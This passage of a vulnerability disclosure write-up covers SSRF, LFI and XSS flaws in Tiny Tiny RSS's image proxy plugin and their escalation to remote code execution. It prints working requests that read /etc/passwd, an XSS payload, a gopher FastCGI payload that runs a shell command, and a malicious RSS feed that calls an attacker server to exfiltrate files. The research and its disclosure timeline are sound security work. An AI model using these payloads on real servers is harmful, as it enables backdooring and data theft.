2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>It failed because the file will be stored in cache only if <code>libcurl</code> gets HTTP response code 200; alternatively, it shows an error image.</p><p>However, file contents can still be seen. For some reason, the plugin also has an alternative way of showing errors that can be used to get file contents. All that needs to be done to trigger it is add the <code>text</code> parameter.</p><p><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=file:///etc/passwd&amp;text=1</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3xs9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3xs9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 424w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 848w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 1272w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3xs9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png" width="664" height="531" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:531,&quot;width&quot;:664,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Screenshot_2020-09-10-Screenshot&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Screenshot_2020-09-10-Screenshot" title="Screenshot_2020-09-10-Screenshot" srcset="https://substackcdn.com/image/fetch/$s_!3xs9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 424w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 848w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 1272w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As with SSRF, an attacker can pair this vulnerability with reflected XSS and extract sensitive files' contents.</p><p>This vulnerability has been asigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25787">CVE-2020-25787</a> by the MITRE corporation.</p><h3>Another XSS</h3><p>For completion's sake, let's mention that <code>url</code> parameter is also vulnerable to reflected XSS when used in conjunction with the text parameter.</p><p><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=&lt;script&gt;alert(1)&lt;/script&gt;&amp;text=1</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PVLX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PVLX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 424w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 848w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 1272w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PVLX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png" width="1364" height="582" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:582,&quot;width&quot;:1364,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;8ba4ac8dd07d0a6021a8836143b11922&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="8ba4ac8dd07d0a6021a8836143b11922" title="8ba4ac8dd07d0a6021a8836143b11922" srcset="https://substackcdn.com/image/fetch/$s_!PVLX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 424w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 848w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 1272w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To keep track of this vulnerability, <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25788">CVE-2020-25788</a> was assigned.</p><h2>Escalating to remote code execution</h2><p>Our goal from the start was to discover a RCE vulnerability. Classic LFI to RCE escalation was not applicable, as with that vulnerability, we could only read PHP code, not execute it.</p><p>After we analyzed other parts of an application and failing to find RCE (other than one in <a href="https://www.exploit-db.com/exploits/40154">outdated PHP gettext</a> library which would require the attacker to modify translation files), we returned to <code>af_proxy_http</code> plugin.</p><p>We planned to see if it is realistic to escalate SSRF to RCE through something commonly installed along the tt-rss.</p><p>We came across <a href="https://github.com/tarunkant/Gopherus">gopherus</a> tool which describes itself as tool that generates gopher link for exploiting SSRF and gaining RCE in various servers. <code>libcurl</code> supports plenty of protocols; Gopher is particularly useful for an attacker cause it can be used to craft custom TCP packets.</p><p>By examining <a href="https://git.tt-rss.org/fox/ttrss-docker-compose">docker files</a> (docker is the recommended way of installing tt-rss at the time of writing), we concluded PHP-FPM running on port 9000 is the best attack vector. We ran gopherus to generate payload (gopher URL), it is relatively easy to run it. All attacker needs to know is the location of any PHP file on a remote system (on non-dockerized installation we were testing on we chose <code>/srv/http/tt-rss/config.php</code>). First attempt failed. After some troubleshooting we realized payload needs to be double url encoded (without double encoding, raw null bytes were passed to <code>curl_exec</code>). Following that, we ran it...and it failed again, this time without clear reason.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OBib!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OBib!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 424w, https://substackcdn.com/image/fetch/$s_!OBib!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 848w, https://substackcdn.com/image/fetch/$s_!OBib!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 1272w, https://substackcdn.com/image/fetch/$s_!OBib!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OBib!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png" width="1335" height="326" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:326,&quot;width&quot;:1335,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!OBib!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 424w, https://substackcdn.com/image/fetch/$s_!OBib!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 848w, https://substackcdn.com/image/fetch/$s_!OBib!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 1272w, https://substackcdn.com/image/fetch/$s_!OBib!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">./gopherus.py --exploit fastcgi (modified so it double-encodes)</figcaption></figure></div><p>We ssh'd to the box tt-rss was running on and tried to make the request manually (this time URL is not double-encoded cause it's not processed twice).</p><pre><code><code>curl gopher://localhost:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%08%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclien%20%0%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1BSCRIPT_FILENAME/srv/http/tt-rss/public.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27ls%20%3E%20/srv/http/tt-rss/cache/images/a.txt%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
</code></code></pre><p>Result was <code>curl: (3) URL using bad/illegal format or missing URL</code>.</p><p><a href="https://github.com/curl/curl/commit/31e53584db5879894809fbde5445aac7553ac3e2#diff-5af1b0638bb439638b199b389467edbd">This commit</a> reveals the problem. tt-rss was self-hosted on an Arch box with most recent packages. Starting with cURL version 7.71.1, it refuses gopher URL's which contain null bytes. We can tell this is not due to security concerns but rather due to the gopher URL standard format.</p><p>This was disappointing as we could not craft a valid FastCGI packet without null bytes, and no other protocols that <code>libcurl</code> supported were as useful (all would include something that made FastCGI packet invalid). However, then we wondered how many installations run this version of cURL.</p><p>It was impossible to confirm that (legally) for manually installed instances, but it was trivial to check what version <a href="https://git.tt-rss.org/fox/ttrss-docker-compose/">docker</a> installation is using. In <code>app/Dockerfile</code>, there is a line <code>FROM alpine:3.9</code>. A little bit of research showed this distribution uses cURL version 7.64.0! Again, it should be noted that this is not an outdated cURL issue, it's a SSRF issue.</p><p>We installed the dockerized version and tweaked <code>gopherus</code> script a bit. By default <code>gopherus</code> tool allowed the attacker to create gopher URLs, which when processed would execute a shell command. We edited it so it creates a backdoor file with the code we want instead.</p><p>Where <code>backdoor_path</code> and <code>backdoor_code</code> were configurable variables. Running the script produced following URL:</p><p>We passed it in the <code>url</code> parameter and it worked! File <code>backdoor.php</code> gets written on the server! With this file in place, an attacker can run arbitrary commands on the server.</p><p>This means that backdooring a tt-rss installation is as easy as getting the user to click a link (or force the user's browser to make a GET request with image tag). However, this allows only for a targeted attack, can it be mass-deployed?</p><h1>Mass-deploying the exploit</h1><p>We planned to research whether an attacker can infect plenty of tt-rss servers without targetting each user individually. For this attack scenario, let us assume the attacker either owns or has hacked a website with a popular RSS feed.</p><p>Some HTML elements are allowed in feed, including link and image elements. The idea was to insert <code>img</code> element that will force the user's browser to make a malicious GET request that will install <code>backdoor.php</code>. So we hosted a feed with <code>&lt;img src="relative_link"&gt;</code> on </p><p>https://subdomain.digeex.de</p><p>To our disappointment, it got rewritten to <code>&lt;img src="https://subdomain.digeex.de/relative_link"&gt;</code>.</p><p>Feed parser calls <code>rewrite_relative_url</code> function, which contains the following code snippet:</p><pre><code><code>&#9;if (strpos($rel_url, "://") !== false) {
&#9;&#9;return $rel_url;
&#9;} 
</code></code></pre><p>It is clear from this that relative URLs aren't thought of as a security concern, so it is trivial to bypass it by adding <code>&amp;bypass_filter=://</code> at the end of the URL. <strong>That means anyone subscribed can be backdoored</strong> through an <code>img</code> tag that utilizes previously generated exploit url, like this:</p><p>This would infect a good number of installations (all docker and any manually installed that run PHP-FPM on port 9000 and have cURL &lt; 7.71.1), but the attacker might want to ensure to get sensitive info even if it fails.</p><p>This can be achieved by using an image tag to cache XSS payload and then linking it to the article title. After the user clicks a malicious link, XSS can fetch and send the contents of sensitive files to the attacker (using LFI vulnerability).</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xjVy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xjVy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 424w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 848w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 1272w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xjVy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png" width="448" height="109" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:109,&quot;width&quot;:448,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Screenshot_2020-09-10--76--Tiny-Tiny-RSS&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Screenshot_2020-09-10--76--Tiny-Tiny-RSS" title="Screenshot_2020-09-10--76--Tiny-Tiny-RSS" srcset="https://substackcdn.com/image/fetch/$s_!xjVy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 424w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 848w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 1272w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Article view of the malicious feed</figcaption></figure></div><p>XML source of the malicious feed looks like this:</p><pre><code><code>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
&lt;rss version="2.0"&gt;

&lt;channel&gt;
  &lt;title&gt;Exploit demo - xss2lfi&lt;/title&gt;
  &lt;link&gt;&lt;/link&gt;
  &lt;description&gt;You are getting infected :(&lt;/description&gt;
  &lt;item&gt;
    &lt;title&gt;This is malicious link&lt;/title&gt;
    &lt;link&gt;&lt;![CDATA[public.php?op=cached_url&amp;file=images/271be703630c0f8fda3e173ffbf4d2a097b73adb&amp;bypass_filter=://]]&gt;&lt;/link&gt;
    &lt;description&gt;
    &lt;![CDATA[
        Dummy text
        &lt;img src ="public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=http://attacker-server/xss2lfi.html"&gt;

    ]]&gt;
&lt;/description&gt;
  &lt;/item&gt;
&lt;/channel&gt;
&lt;/rss&gt;
</code></code></pre><h1>Conclusion</h1><p>The default docker installation of tt-rss has a vulnerability that allows for remote code execution. It can be mass-exploited through a popular subscription feed.</p><p>Manually installed instances are also vulnerable if PHP-FPM is running on port 9000 (instead of Unix socket), and cURL version is below 7.71.1. Remote code execution might be possible even if those conditions are not satisfied, but we have not researched how.</p><p>Even if remote code execution cannot be achieved, attackers can get contents of internal files and portscan internal services if the user clicks the article title. All instances are vulnerable to this, docker or otherwise.</p><h1>Timeline</h1><ul><li><p>10 August - 11 September: Testing and reporting phase</p></li><li><p>11 September - 14 September: Contacting developer (first e-mail got lost)</p></li><li><p>14 September - 17 September: Developer fixed all the issues</p></li><li><p>18 September: CVE IDs requested</p></li><li><p>19 September: <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25787">CVE-2020-25787</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25788">CVE-2020-25788</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25789">CVE-2020-25789</a> assigned to our findings</p></li><li><p>21 September: Our findings are made public</p></li></ul>]]></content:encoded></item></channel></rss>